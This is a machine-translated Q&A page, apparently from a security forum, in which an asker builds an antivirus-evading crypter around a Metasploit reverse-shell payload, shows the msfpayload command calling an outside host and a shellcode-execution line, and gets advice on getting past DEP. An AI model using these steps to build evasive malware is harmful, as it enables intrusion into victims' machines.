en ejecución de pila en Windows 7 :: metasploit :: meterpreter :: crypter ejecutable

1
I posted this on stackoverflow, was advised to move it to security section.

Estaba escribiendo un crypter ejecutable como un ejercicio con el objetivo de evadir antivirus, ahora el problema es que el ejecutable final no funciona en Windows 7. Está funcionando perfectamente en Windows XP.

Para los fines de la prueba, tomé la carga útil del meterpreter de metasploit, exporté su código shell y lo compilé en mi crypter ejecutable. (No mencionaré los detalles del cifrado ejecutable).

Estos fueron mis pasos:

  • Obtuve el código shell exportado en un archivo C

    msfpayload windows / shell / reverse_tcp_dns LHOST = somewhere.com LPORT = 1234 C > shell_code.c

  • Solo tomé el código de shell del vector de malware, no el DLL que está justo en la parte superior del archivo, parece que sigue

    unsigned char buf []="\ xfc \ x ..........................";

  • Tomé esto (una versión encriptadora)

Básicamente, después de decodificar / descifrar, el código de shell se ejecuta mediante la conversión a una función como

(*(int(*)()) buf)();

Todo funciona como se espera en Windows XP, pero falla en Windows 7.

No tengo ni idea de los motivos, y cualquier ayuda será apreciada.

NOTA: no tengo Windows 7, lo probé en Windows XP (SP2) virtualizado ...

EDITAR: si ayuda, el metasploit se ejecuta en Linux, el ejecutable se compiló con la edición Express VS C ++ 2008, el ejecutable final funciona bien en todas las máquinas con Windows XP.

EDITAR (1 de agosto de 2012): Siguiendo el consejo de @Rook, intenté usar VirtualAlloc con el permiso PAGE_EXECUTE_READWRITE y luego usé WriteProcessMemory, aún el PE final solo funciona en Windows XP (sp2) no en Windows 7.

EDIT: PE parece funcionar correctamente con Windows 7 (compilación 7601, Service Pack 1), bajo WOW64

    
pregunta user1064504 31.07.2012 - 15:24
fuente

1 respuesta

0

A juzgar por este comportamiento, diría que está ejecutando XP antes del SP2 (debería haber mencionado eso ...). Eso significa que la región de memoria que contiene su código de shell está marcada con el indicador no ejecutable. Hay algunas maneras de sortear DEP y la bandera NX. Un método es evocando su ejecutable con / NXCOMPAT: NO o por utilizando VirutalAlllocEx para asignar una región de memoria eso es tanto ejecutable y contiene su shellcode.

    
respondido por el rook 31.07.2012 - 18:33
fuente

Lea otras preguntas en las etiquetas